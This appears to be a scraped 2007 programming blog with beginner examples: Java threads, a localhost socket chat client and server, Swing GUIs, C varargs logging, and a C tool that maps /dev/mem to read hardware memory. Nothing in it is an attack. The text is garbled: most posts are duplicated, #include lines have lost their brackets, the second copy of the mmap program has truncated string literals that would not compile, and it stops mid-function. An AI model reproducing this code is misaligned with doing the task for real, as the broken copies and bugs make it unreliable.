/* Example for thread in java .
* Two types of thread creation can be done
* One- by extend the thread class
* two- by implement runnable
* below I used runnable.
*/
/* Class 1*/
public class TcpServer implements Runnable {
public static void main(String[] args) {
/* Creating instances for Class 1 and class 2 */
TcpServer ser1=new TcpServer();
TcpServer ser2=new TcpServer();
arun an=new arun();
/* Declaring thread for instance */
Thread t1=new Thread(ser1);
Thread t2=new Thread(ser2);
Thread t3=new Thread(an);
/*
* Thread can be created for any number of instances
*Thread t2=new Thread(ser2);
*/
/*thread started */
t1.start();
t2.start();
t3.start();
}
public void run() {
first();
}
public void first(){
for (int i = 0; i < 100; i++) {
System.out.println("Thread First "+i );
}
}
}/* end of class 1 */
/* Class 2 */
class arun implements Runnable{
public void run() {
second();
}
public void second(){
for (int i = 0; i < 100; i++) {
System.out.println("Thread Second "+i);
}
}
}/* End of class 2 */
Tuesday, December 25, 2007
Java Server /Client Chat program
/* This is an Client to Server One way comm. program
i.e client (writes) send data ,server keep on (read )listen and recv.
For two way communication between server and client we should go for thread.
How can be acheived by thread ?
In both server and client two threads should be created and one for read() and another for write().since read is blocking call.
For thread reference see my next post "Java Thread Simple program ".
Server.Java */
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
public class Server {
ServerSocket serverSocket=null;
Socket socket=null;
InputStream in=null;
OutputStream out=null;
Server() throws IOException{
serverSocket=new ServerSocket(500);
System.out.println("Server Started");
/* server will blocked here till client connects */
socket=serverSocket.accept();
System.out.println("Connected.........");
/* Any in coming dada we stored in this stream */
in=socket.getInputStream();
out=socket.getOutputStream();
}
void read() throws IOException{
int c=0;
/* printing the incoming message from input stream obj */
while((c=in.read())!=-1){
System.out.print((char)c);
}
in.close();
out.close();
socket.close();
}
public static void main(String[] args) throws IOException {
Server ser=new Server();
ser.read();
/*
Test code for string to byte conversion
String str="arun kumar";
Here we reading array string so we used byte array stream
ByteArrayInputStream by=new ByteArrayInputStream(str.getBytes());
int c=0;
while((c=by.read())!=-1){
System.out.println((char)c);
*/
}
}
/********* End of server *****************/
/*Client.Java */
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.net.UnknownHostException;
import java.io.DataInputStream;
public class Client {
Socket socket=null;
InputStream in=null;
OutputStream out=null;
Client() throws UnknownHostException, IOException{
socket=new Socket("localhost",500);
in=socket.getInputStream();
out=socket.getOutputStream();
}
void write() throws IOException{
/* Buffered input Stream will blocked till Enter key pressed. System.in is used get input from console (kbd) */
BufferedInputStream input=new BufferedInputStream(System.in);
while(true){
/* but here we converting buffer data to stream of bytes since buffer stream will store a block of characters*/
int c=input.read();
System.out.print((char)c);
out.write(c);
}
}
public static void main(String[] args) {
try {
Client client=new Client();
client.write();
} catch (UnknownHostException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
/********** End of Client *******************/
i.e client (writes) send data ,server keep on (read )listen and recv.
For two way communication between server and client we should go for thread.
How can be acheived by thread ?
In both server and client two threads should be created and one for read() and another for write().since read is blocking call.
For thread reference see my next post "Java Thread Simple program ".
Server.Java */
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
public class Server {
ServerSocket serverSocket=null;
Socket socket=null;
InputStream in=null;
OutputStream out=null;
Server() throws IOException{
serverSocket=new ServerSocket(500);
System.out.println("Server Started");
/* server will blocked here till client connects */
socket=serverSocket.accept();
System.out.println("Connected.........");
/* Any in coming dada we stored in this stream */
in=socket.getInputStream();
out=socket.getOutputStream();
}
void read() throws IOException{
int c=0;
/* printing the incoming message from input stream obj */
while((c=in.read())!=-1){
System.out.print((char)c);
}
in.close();
out.close();
socket.close();
}
public static void main(String[] args) throws IOException {
Server ser=new Server();
ser.read();
/*
Test code for string to byte conversion
String str="arun kumar";
Here we reading array string so we used byte array stream
ByteArrayInputStream by=new ByteArrayInputStream(str.getBytes());
int c=0;
while((c=by.read())!=-1){
System.out.println((char)c);
*/
}
}
/********* End of server *****************/
/*Client.Java */
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.net.UnknownHostException;
import java.io.DataInputStream;
public class Client {
Socket socket=null;
InputStream in=null;
OutputStream out=null;
Client() throws UnknownHostException, IOException{
socket=new Socket("localhost",500);
in=socket.getInputStream();
out=socket.getOutputStream();
}
void write() throws IOException{
/* Buffered input Stream will blocked till Enter key pressed. System.in is used get input from console (kbd) */
BufferedInputStream input=new BufferedInputStream(System.in);
while(true){
/* but here we converting buffer data to stream of bytes since buffer stream will store a block of characters*/
int c=input.read();
System.out.print((char)c);
out.write(c);
}
}
public static void main(String[] args) {
try {
Client client=new Client();
client.write();
} catch (UnknownHostException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
/********** End of Client *******************/
Monday, December 10, 2007
CreateGUI and Click Event Handler in Java
/* AddressBookDemo.java
Website: java-swing-tutorial.html
Topic: A basic Java Address Book
Conventions Used in Source code
---------------------------------
1. All JLabel components start with jlb*
2. All JPanel components start with jpl*
3. All JMenu components start with jmenu*
4. All JMenuItem components start with jmenuItem*
5. All JDialog components start with jdlg*
6. All JButton components start with jbn*
*/
import java.awt.Container;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import java.awt.Insets;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.ArrayList;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JTextField;
public class AddressBookDemo implements ActionListener {
ArrayList personsList;
//PersonDAO pDAO;
JFrame appFrame;
JLabel jlbName, jlbAddress, jlbPhone, jlbEmail;
JTextField jtfName, jtfAddress, jtfPhone, jtfEmail;
JButton jbbSave, jbnDelete, jbnUpdate,
jbnBack, jbnSearch, jbnForward,
jbnClear, jbnExit;
String name, address, email;
int phone;
int recordNumber; // used to naviagate using >> and buttons
Container cPane;
public static void main(String args[]) {
new AddressBookDemo();
}
public AddressBookDemo() {
name = "";
address = "";
email = "";
phone = -1; //Stores 0 to indicate no Phone Number
recordNumber = -1;
createGUI();
//personsList = new ArrayList();
// creating PersonDAO object
//pDAO = new PersonDAO();
}
public void createGUI(){
/*Create a frame, get its contentpane and set layout*/
appFrame = new JFrame("Address Book");
cPane = appFrame.getContentPane();
cPane.setLayout(new GridBagLayout());
//Arrange components on contentPane and set Action Listeners to each JButton
arrangeComponents();
appFrame.setSize(260,300);
appFrame.setResizable(false);
appFrame.setVisible(true);
}
public void arrangeComponents() {
jlbName = new JLabel("Name");
jlbAddress = new JLabel("Address");
jlbPhone = new JLabel("Phone");
jlbEmail = new JLabel("Email");
jtfName = new JTextField(20);
jtfAddress = new JTextField(20);
jtfPhone = new JTextField(20);
jtfEmail = new JTextField(20);
jbbSave = new JButton("Save");
jbnDelete = new JButton("Delete");
jbnClear = new JButton("Clear");
jbnUpdate = new JButton("Update");
jbnSearch = new JButton("Search");
jbnForward = new JButton(">>");
jbnBack = new JButton("<<");
jbnExit = new JButton("Exit");
/*add all initialized components to the container*/
/* Name field */
GridBagConstraints gridBagConstraintsx01 = new GridBagConstraints();
gridBagConstraintsx01.gridx = 0;
gridBagConstraintsx01.gridy = 0;
gridBagConstraintsx01.insets = new Insets(5, 5, 5, 5);
cPane.add(jlbName, gridBagConstraintsx01);
GridBagConstraints gridBagConstraintsx02 = new GridBagConstraints();
gridBagConstraintsx02.gridx = 1;
gridBagConstraintsx02.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx02.gridy = 0;
gridBagConstraintsx02.gridwidth = 2;
gridBagConstraintsx02.fill = GridBagConstraints.BOTH;
cPane.add(jtfName, gridBagConstraintsx02);
/* Address field */
GridBagConstraints gridBagConstraintsx03 = new GridBagConstraints();
gridBagConstraintsx03.gridx = 0;
gridBagConstraintsx03.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx03.gridy = 1;
cPane.add(jlbAddress, gridBagConstraintsx03);
GridBagConstraints gridBagConstraintsx04 = new GridBagConstraints();
gridBagConstraintsx04.gridx = 1;
gridBagConstraintsx04.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx04.gridy = 1;
gridBagConstraintsx04.gridwidth = 2;
gridBagConstraintsx04.fill = GridBagConstraints.BOTH;
cPane.add(jtfAddress, gridBagConstraintsx04);
/* Phone Feild */
GridBagConstraints gridBagConstraintsx05 = new GridBagConstraints();
gridBagConstraintsx05.gridx = 0;
gridBagConstraintsx05.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx05.gridy = 2;
cPane.add(jlbPhone, gridBagConstraintsx05);
GridBagConstraints gridBagConstraintsx06 = new GridBagConstraints();
gridBagConstraintsx06.gridx = 1;
gridBagConstraintsx06.gridy = 2;
gridBagConstraintsx06.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx06.gridwidth = 2;
gridBagConstraintsx06.fill = GridBagConstraints.BOTH;
cPane.add(jtfPhone, gridBagConstraintsx06);
/* Email field */
GridBagConstraints gridBagConstraintsx07 = new GridBagConstraints();
gridBagConstraintsx07.gridx = 0;
gridBagConstraintsx07.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx07.gridy = 3;
cPane.add(jlbEmail, gridBagConstraintsx07);
GridBagConstraints gridBagConstraintsx08 = new GridBagConstraints();
gridBagConstraintsx08.gridx = 1;
gridBagConstraintsx08.gridy = 3;
gridBagConstraintsx08.gridwidth = 2;
gridBagConstraintsx08.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx08.fill = GridBagConstraints.BOTH;
cPane.add(jtfEmail, gridBagConstraintsx08);
/* Save - Delete - Update */
GridBagConstraints gridBagConstraintsx09 = new GridBagConstraints();
gridBagConstraintsx09.gridx = 0;
gridBagConstraintsx09.gridy = 4;
gridBagConstraintsx09.insets = new Insets(5, 5, 5, 5);
cPane.add(jbbSave, gridBagConstraintsx09);
GridBagConstraints gridBagConstraintsx10 = new GridBagConstraints();
gridBagConstraintsx10.gridx = 1;
gridBagConstraintsx10.gridy = 4;
gridBagConstraintsx10.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnDelete, gridBagConstraintsx10);
GridBagConstraints gridBagConstraintsx11 = new GridBagConstraints();
gridBagConstraintsx11.gridx = 2;
gridBagConstraintsx11.gridy = 4;
gridBagConstraintsx11.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnUpdate, gridBagConstraintsx11);
/* << - Search - >> */
GridBagConstraints gridBagConstraintsx12 = new GridBagConstraints();
gridBagConstraintsx12.gridx = 0;
gridBagConstraintsx12.gridy = 5;
gridBagConstraintsx12.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnBack, gridBagConstraintsx12);
GridBagConstraints gridBagConstraintsx13 = new GridBagConstraints();
gridBagConstraintsx13.gridx = 1;
gridBagConstraintsx13.gridy = 5;
gridBagConstraintsx13.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnSearch, gridBagConstraintsx13);
GridBagConstraints gridBagConstraintsx14 = new GridBagConstraints();
gridBagConstraintsx14.gridx = 2;
gridBagConstraintsx14.gridy = 5;
gridBagConstraintsx14.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnForward, gridBagConstraintsx14);
/* - - Clear - Exit */
GridBagConstraints gridBagConstraintsx15 = new GridBagConstraints();
gridBagConstraintsx15.gridx = 1;
gridBagConstraintsx15.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx15.gridy = 6;
cPane.add(jbnClear, gridBagConstraintsx15);
GridBagConstraints gridBagConstraintsx16 = new GridBagConstraints();
gridBagConstraintsx16.gridx = 2;
gridBagConstraintsx16.gridy = 6;
gridBagConstraintsx16.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnExit, gridBagConstraintsx16);
/* Listen Action */
jbbSave.addActionListener(this);
jbnDelete.addActionListener(this);
jbnClear.addActionListener(this);
jbnUpdate.addActionListener(this);
jbnSearch.addActionListener(this);
jbnForward.addActionListener(this);
jbnBack.addActionListener(this);
jbnExit.addActionListener(this);
}
public void actionPerformed(ActionEvent e) {
if (e.getSource() == jbbSave) {
//savePerson();
System.out.println(" Save");
clear();
} else if (e.getSource() == jbnDelete) {
//deletePerson();
clear();
} else if (e.getSource() == jbnUpdate) {
//updatePerson();
clear();
} else if (e.getSource() == jbnSearch) {
//searchPerson();
} else if (e.getSource() == jbnForward) {
//displayNextRecord();
} else if (e.getSource() == jbnBack) {
//displayPreviousRecord();
} else if (e.getSource() == jbnClear) {
System.out.println(" Clear");
clear();
} else if (e.getSource() == jbnExit) {
System.exit(0);
}
}
public void clear() {
jtfName.setText("");
jtfAddress.setText("");
jtfPhone.setText("");
jtfEmail.setText("");
/*clear contents of arraylist*/
/* recordNumber = -1; */
//personsList.clear();
jbnForward.setEnabled(true);
jbnBack.setEnabled(true);
}
}
Website: java-swing-tutorial.html
Topic: A basic Java Address Book
Conventions Used in Source code
---------------------------------
1. All JLabel components start with jlb*
2. All JPanel components start with jpl*
3. All JMenu components start with jmenu*
4. All JMenuItem components start with jmenuItem*
5. All JDialog components start with jdlg*
6. All JButton components start with jbn*
*/
import java.awt.Container;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import java.awt.Insets;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.ArrayList;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JTextField;
public class AddressBookDemo implements ActionListener {
ArrayList personsList;
//PersonDAO pDAO;
JFrame appFrame;
JLabel jlbName, jlbAddress, jlbPhone, jlbEmail;
JTextField jtfName, jtfAddress, jtfPhone, jtfEmail;
JButton jbbSave, jbnDelete, jbnUpdate,
jbnBack, jbnSearch, jbnForward,
jbnClear, jbnExit;
String name, address, email;
int phone;
int recordNumber; // used to naviagate using >> and buttons
Container cPane;
public static void main(String args[]) {
new AddressBookDemo();
}
public AddressBookDemo() {
name = "";
address = "";
email = "";
phone = -1; //Stores 0 to indicate no Phone Number
recordNumber = -1;
createGUI();
//personsList = new ArrayList();
// creating PersonDAO object
//pDAO = new PersonDAO();
}
public void createGUI(){
/*Create a frame, get its contentpane and set layout*/
appFrame = new JFrame("Address Book");
cPane = appFrame.getContentPane();
cPane.setLayout(new GridBagLayout());
//Arrange components on contentPane and set Action Listeners to each JButton
arrangeComponents();
appFrame.setSize(260,300);
appFrame.setResizable(false);
appFrame.setVisible(true);
}
public void arrangeComponents() {
jlbName = new JLabel("Name");
jlbAddress = new JLabel("Address");
jlbPhone = new JLabel("Phone");
jlbEmail = new JLabel("Email");
jtfName = new JTextField(20);
jtfAddress = new JTextField(20);
jtfPhone = new JTextField(20);
jtfEmail = new JTextField(20);
jbbSave = new JButton("Save");
jbnDelete = new JButton("Delete");
jbnClear = new JButton("Clear");
jbnUpdate = new JButton("Update");
jbnSearch = new JButton("Search");
jbnForward = new JButton(">>");
jbnBack = new JButton("<<");
jbnExit = new JButton("Exit");
/*add all initialized components to the container*/
/* Name field */
GridBagConstraints gridBagConstraintsx01 = new GridBagConstraints();
gridBagConstraintsx01.gridx = 0;
gridBagConstraintsx01.gridy = 0;
gridBagConstraintsx01.insets = new Insets(5, 5, 5, 5);
cPane.add(jlbName, gridBagConstraintsx01);
GridBagConstraints gridBagConstraintsx02 = new GridBagConstraints();
gridBagConstraintsx02.gridx = 1;
gridBagConstraintsx02.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx02.gridy = 0;
gridBagConstraintsx02.gridwidth = 2;
gridBagConstraintsx02.fill = GridBagConstraints.BOTH;
cPane.add(jtfName, gridBagConstraintsx02);
/* Address field */
GridBagConstraints gridBagConstraintsx03 = new GridBagConstraints();
gridBagConstraintsx03.gridx = 0;
gridBagConstraintsx03.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx03.gridy = 1;
cPane.add(jlbAddress, gridBagConstraintsx03);
GridBagConstraints gridBagConstraintsx04 = new GridBagConstraints();
gridBagConstraintsx04.gridx = 1;
gridBagConstraintsx04.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx04.gridy = 1;
gridBagConstraintsx04.gridwidth = 2;
gridBagConstraintsx04.fill = GridBagConstraints.BOTH;
cPane.add(jtfAddress, gridBagConstraintsx04);
/* Phone Feild */
GridBagConstraints gridBagConstraintsx05 = new GridBagConstraints();
gridBagConstraintsx05.gridx = 0;
gridBagConstraintsx05.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx05.gridy = 2;
cPane.add(jlbPhone, gridBagConstraintsx05);
GridBagConstraints gridBagConstraintsx06 = new GridBagConstraints();
gridBagConstraintsx06.gridx = 1;
gridBagConstraintsx06.gridy = 2;
gridBagConstraintsx06.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx06.gridwidth = 2;
gridBagConstraintsx06.fill = GridBagConstraints.BOTH;
cPane.add(jtfPhone, gridBagConstraintsx06);
/* Email field */
GridBagConstraints gridBagConstraintsx07 = new GridBagConstraints();
gridBagConstraintsx07.gridx = 0;
gridBagConstraintsx07.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx07.gridy = 3;
cPane.add(jlbEmail, gridBagConstraintsx07);
GridBagConstraints gridBagConstraintsx08 = new GridBagConstraints();
gridBagConstraintsx08.gridx = 1;
gridBagConstraintsx08.gridy = 3;
gridBagConstraintsx08.gridwidth = 2;
gridBagConstraintsx08.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx08.fill = GridBagConstraints.BOTH;
cPane.add(jtfEmail, gridBagConstraintsx08);
/* Save - Delete - Update */
GridBagConstraints gridBagConstraintsx09 = new GridBagConstraints();
gridBagConstraintsx09.gridx = 0;
gridBagConstraintsx09.gridy = 4;
gridBagConstraintsx09.insets = new Insets(5, 5, 5, 5);
cPane.add(jbbSave, gridBagConstraintsx09);
GridBagConstraints gridBagConstraintsx10 = new GridBagConstraints();
gridBagConstraintsx10.gridx = 1;
gridBagConstraintsx10.gridy = 4;
gridBagConstraintsx10.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnDelete, gridBagConstraintsx10);
GridBagConstraints gridBagConstraintsx11 = new GridBagConstraints();
gridBagConstraintsx11.gridx = 2;
gridBagConstraintsx11.gridy = 4;
gridBagConstraintsx11.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnUpdate, gridBagConstraintsx11);
/* << - Search - >> */
GridBagConstraints gridBagConstraintsx12 = new GridBagConstraints();
gridBagConstraintsx12.gridx = 0;
gridBagConstraintsx12.gridy = 5;
gridBagConstraintsx12.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnBack, gridBagConstraintsx12);
GridBagConstraints gridBagConstraintsx13 = new GridBagConstraints();
gridBagConstraintsx13.gridx = 1;
gridBagConstraintsx13.gridy = 5;
gridBagConstraintsx13.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnSearch, gridBagConstraintsx13);
GridBagConstraints gridBagConstraintsx14 = new GridBagConstraints();
gridBagConstraintsx14.gridx = 2;
gridBagConstraintsx14.gridy = 5;
gridBagConstraintsx14.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnForward, gridBagConstraintsx14);
/* - - Clear - Exit */
GridBagConstraints gridBagConstraintsx15 = new GridBagConstraints();
gridBagConstraintsx15.gridx = 1;
gridBagConstraintsx15.insets = new Insets(5, 5, 5, 5);
gridBagConstraintsx15.gridy = 6;
cPane.add(jbnClear, gridBagConstraintsx15);
GridBagConstraints gridBagConstraintsx16 = new GridBagConstraints();
gridBagConstraintsx16.gridx = 2;
gridBagConstraintsx16.gridy = 6;
gridBagConstraintsx16.insets = new Insets(5, 5, 5, 5);
cPane.add(jbnExit, gridBagConstraintsx16);
/* Listen Action */
jbbSave.addActionListener(this);
jbnDelete.addActionListener(this);
jbnClear.addActionListener(this);
jbnUpdate.addActionListener(this);
jbnSearch.addActionListener(this);
jbnForward.addActionListener(this);
jbnBack.addActionListener(this);
jbnExit.addActionListener(this);
}
public void actionPerformed(ActionEvent e) {
if (e.getSource() == jbbSave) {
//savePerson();
System.out.println(" Save");
clear();
} else if (e.getSource() == jbnDelete) {
//deletePerson();
clear();
} else if (e.getSource() == jbnUpdate) {
//updatePerson();
clear();
} else if (e.getSource() == jbnSearch) {
//searchPerson();
} else if (e.getSource() == jbnForward) {
//displayNextRecord();
} else if (e.getSource() == jbnBack) {
//displayPreviousRecord();
} else if (e.getSource() == jbnClear) {
System.out.println(" Clear");
clear();
} else if (e.getSource() == jbnExit) {
System.exit(0);
}
}
public void clear() {
jtfName.setText("");
jtfAddress.setText("");
jtfPhone.setText("");
jtfEmail.setText("");
/*clear contents of arraylist*/
/* recordNumber = -1; */
//personsList.clear();
jbnForward.setEnabled(true);
jbnBack.setEnabled(true);
}
}
Wednesday, December 5, 2007
Simple Swing in java
/* First.java */
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
public class First {
public static void main(String args[])
{
new First();
/* Opening Frame */
JFrame frame = new JFrame("Hello");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setSize(400, 150);
/* This resize to components inside the frame */
//frame.pack();
Container content = frame.getContentPane();
content.setBackground(Color.white);
content.setLayout(new FlowLayout());
content.add(new JTextArea("Welcome to My Java World !"));
content.add(new JTextField("Enetr text "));
content.add(new JButton("Click"));
//frame.addWindowListener(new ExitListener());
frame.setVisible(true);
}
//Constructor
public void First()
{
System.out.println(" Constructor hello ");
}
}
/*compile */
javac First.java && java First
/* creating exec jar.
copy con mainClass.txt
"Main-Class: First
*/
jar cmfv mainClass.txt FistSwing.jar *.class *.java
/* execute jar */
java -jar FirstSwing.jar
/* Excute using Browser by adding below code in body*/
LessThan applet code="First" archive="FirstSwing.jar" GreaterThan
Lessthan Slash applet GreaterThan
http://www.apl.jhu.edu/~hall/java/Swing-Tutorial/Swing-Tutorial-JFrame.html
http://www.javabeginner.com/java-addressbook.htm
http://www.beginner-java-tutorial.com/jtextarea.html
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
public class First {
public static void main(String args[])
{
new First();
/* Opening Frame */
JFrame frame = new JFrame("Hello");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setSize(400, 150);
/* This resize to components inside the frame */
//frame.pack();
Container content = frame.getContentPane();
content.setBackground(Color.white);
content.setLayout(new FlowLayout());
content.add(new JTextArea("Welcome to My Java World !"));
content.add(new JTextField("Enetr text "));
content.add(new JButton("Click"));
//frame.addWindowListener(new ExitListener());
frame.setVisible(true);
}
//Constructor
public void First()
{
System.out.println(" Constructor hello ");
}
}
/*compile */
javac First.java && java First
/* creating exec jar.
copy con mainClass.txt
"Main-Class: First
jar cmfv mainClass.txt FistSwing.jar *.class *.java
/* execute jar */
java -jar FirstSwing.jar
/* Excute using Browser by adding below code in body*/
LessThan applet code="First" archive="FirstSwing.jar" GreaterThan
Lessthan Slash applet GreaterThan
http://www.apl.jhu.edu/~hall/java/Swing-Tutorial/Swing-Tutorial-JFrame.html
http://www.javabeginner.com/java-addressbook.htm
http://www.beginner-java-tutorial.com/jtextarea.html
How to Use va_args in C
#include stdio.h>
#include stdarg.h>
void LogMsg(int lvl, char *fmt,...)
{
va_list vList ;
char msg[256] ;
char debugmsg[500] ;
printf(" Size %d\n",sizeof(debugmsg));
if(lvl ==1)
{
va_start(vList,fmt) ;
vsnprintf(msg, 256, fmt, vList) ;
sprintf(debugmsg, " %s\n", msg) ;
printf("debugmsg : %s msg : %s\n", debugmsg, msg) ;
va_end(vList);
}
}
int main()
{
printf(" \n");
LogMsg(1,"%s %d Test Message \n",__func__,__LINE__);
return 0;
}
~
#include stdarg.h>
void LogMsg(int lvl, char *fmt,...)
{
va_list vList ;
char msg[256] ;
char debugmsg[500] ;
printf(" Size %d\n",sizeof(debugmsg));
if(lvl ==1)
{
va_start(vList,fmt) ;
vsnprintf(msg, 256, fmt, vList) ;
sprintf(debugmsg, " %s\n", msg) ;
printf("debugmsg : %s msg : %s\n", debugmsg, msg) ;
va_end(vList);
}
}
int main()
{
printf(" \n");
LogMsg(1,"%s %d Test Message \n",__func__,__LINE__);
return 0;
}
~
Monday, December 3, 2007
How to use mmap
#include sys/mman.h
#include stdio.h
#include sys/types.h
#include sys/stat.h
#include fcntl.h
#include unistd.h
int fd_wd;
void *wd_addr = NULL;
unsigned char *temp;
volatile unsigned int *addr;
#define BASE 0xF0010000
int main (int argc, char *argv[])
{
char dat[4096] = "12345678";
unsigned int i, base_addr, read;
unsigned int store;
unsigned int value;
unsigned short page_size;
page_size = getpagesize ();
if(argc == 1)
{
printf ("Usage : ./mapper [options] \n");
printf (" Options 1 - to mmap local array \n");
printf (" 2 - to map fixed addr 0xF0010000 \n");
printf (" 3 - to map new address and new file eg: ./mapper 3 /dev/mem\n");
return 1;
}
if (atoi(argv[1]) != 1)
{
if(argc == 3)
{
printf("Openning file %s \n",argv[2]);
fd_wd = open (argv[2], O_RDWR | O_SYNC);
if (fd_wd == -1)
{
perror("Open ");
return 1;
}
}
else
{
fd_wd = open ("/dev/mem", O_RDWR | O_SYNC);
printf (" Opening file /dev/mem file \n");
if (fd_wd == -1)
{
perror("While Open ");
return 1;
}
}
if(atoi(argv[1]) == 3 )
{
printf(" Enter 32bit addr eg 0xF0010000 \n Hex 0x");
scanf("%X",&base_addr);
}
else
{
base_addr = BASE;
}
/* mmap() will read only page by page , so BASE should be multiple of Page Size */
if ((base_addr % page_size) != 0)
{
printf (" Base address is not multiple of pagesize ");
return 1;
}
/*page_size will length ,since 0-(lenght-1) = length eg: if size 4096 ...start 0-4095 */
wd_addr = mmap (0, (page_size - 1), PROT_READ | PROT_WRITE, MAP_SHARED, fd_wd, base_addr);
perror (" Memory mapping ");
if (wd_addr == (void *) -1)
{
printf ("Unable to map mem file \n");
perror (" Failed: ");
close (fd_wd);
return 1;
}
}
else
{
printf (" Local mapping to Array \n");
wd_addr = dat;
}
/* Printing the Address */
printf (" wd_addr = %X ", wd_addr);
/*Reading Byte by Byte */
temp = (unsigned char *) wd_addr;
printf ("\n\n Enter Offset [0-%d] : ", (page_size - 1));
scanf ("%d", &read);
/* Moving the pointer to Entered offset */
store = *(temp);
temp = temp + read;
printf (" Reading 4 bytes : \n");
for (i = 0; i < 4; i++)
{
printf (" Addr[%02d] : %X = %02X \n", i, temp, *(temp));
temp++;
}
/*Reading Word by Word */
addr = (unsigned int *) wd_addr;
value = *(addr);
value = *(addr);
printf ("\n Base Addr: %X by Word 0x%08X \n", addr, value);
printf ("\n Enter offset [0-4095] to read word : ");
scanf ("%x", &read);
addr = addr + ((unsigned int) read / 4); /* Asuming 4byte == one word length
it is an 32 it processor */
printf (" Enter no. of words to Read:");
scanf ("%d", &read);
/*In big endian format first readed byte is will not match with truncated byte from Word */
if (store != (unsigned char) value)
printf ("\n Big-endian platform Lsb....Msb \n");
else
printf ("\n Little-endian plat Msb....Lsb \n");
for (i = 0; i < read; i++)
{
value = 0;
value = *(addr);
printf (" Addr[%d] : %X 0x%08X \n", i, addr, value);
addr++;
}
printf ("\n");
if (atoi(argv[1]) != 1)
printf (" Munmap : %d\n", munmap (wd_addr, page_size));
return 0;
}
#include stdio.h
#include sys/types.h
#include sys/stat.h
#include fcntl.h
#include unistd.h
int fd_wd;
void *wd_addr = NULL;
unsigned char *temp;
volatile unsigned int *addr;
#define BASE 0xF0010000
int main (int argc, char *argv[])
{
char dat[4096] = "12345678";
unsigned int i, base_addr, read;
unsigned int store;
unsigned int value;
unsigned short page_size;
page_size = getpagesize ();
if(argc == 1)
{
printf ("Usage : ./mapper [options]
printf (" Options 1 - to mmap local array \n");
printf (" 2 - to map fixed addr 0xF0010000 \n");
printf (" 3
return 1;
}
if (atoi(argv[1]) != 1)
{
if(argc == 3)
{
printf("Openning file %s \n",argv[2]);
fd_wd = open (argv[2], O_RDWR | O_SYNC);
if (fd_wd == -1)
{
perror("Open ");
return 1;
}
}
else
{
fd_wd = open ("/dev/mem", O_RDWR | O_SYNC);
printf (" Opening file /dev/mem file \n");
if (fd_wd == -1)
{
perror("While Open ");
return 1;
}
}
if(atoi(argv[1]) == 3 )
{
printf(" Enter 32bit addr eg 0xF0010000 \n Hex 0x");
scanf("%X",&base_addr);
}
else
{
base_addr = BASE;
}
/* mmap() will read only page by page , so BASE should be multiple of Page Size */
if ((base_addr % page_size) != 0)
{
printf (" Base address is not multiple of pagesize ");
return 1;
}
/*page_size will length ,since 0-(lenght-1) = length eg: if size 4096 ...start 0-4095 */
wd_addr = mmap (0, (page_size - 1), PROT_READ | PROT_WRITE, MAP_SHARED, fd_wd, base_addr);
perror (" Memory mapping ");
if (wd_addr == (void *) -1)
{
printf ("Unable to map mem file \n");
perror (" Failed: ");
close (fd_wd);
return 1;
}
}
else
{
printf (" Local mapping to Array \n");
wd_addr = dat;
}
/* Printing the Address */
printf (" wd_addr = %X ", wd_addr);
/*Reading Byte by Byte */
temp = (unsigned char *) wd_addr;
printf ("\n\n Enter Offset [0-%d] : ", (page_size - 1));
scanf ("%d", &read);
/* Moving the pointer to Entered offset */
store = *(temp);
temp = temp + read;
printf (" Reading 4 bytes : \n");
for (i = 0; i < 4; i++)
{
printf (" Addr[%02d] : %X = %02X \n", i, temp, *(temp));
temp++;
}
/*Reading Word by Word */
addr = (unsigned int *) wd_addr;
value = *(addr);
value = *(addr);
printf ("\n Base Addr: %X by Word 0x%08X \n", addr, value);
printf ("\n Enter offset [0-4095] to read word : ");
scanf ("%x", &read);
addr = addr + ((unsigned int) read / 4); /* Asuming 4byte == one word length
it is an 32 it processor */
printf (" Enter no. of words to Read:");
scanf ("%d", &read);
/*In big endian format first readed byte is will not match with truncated byte from Word */
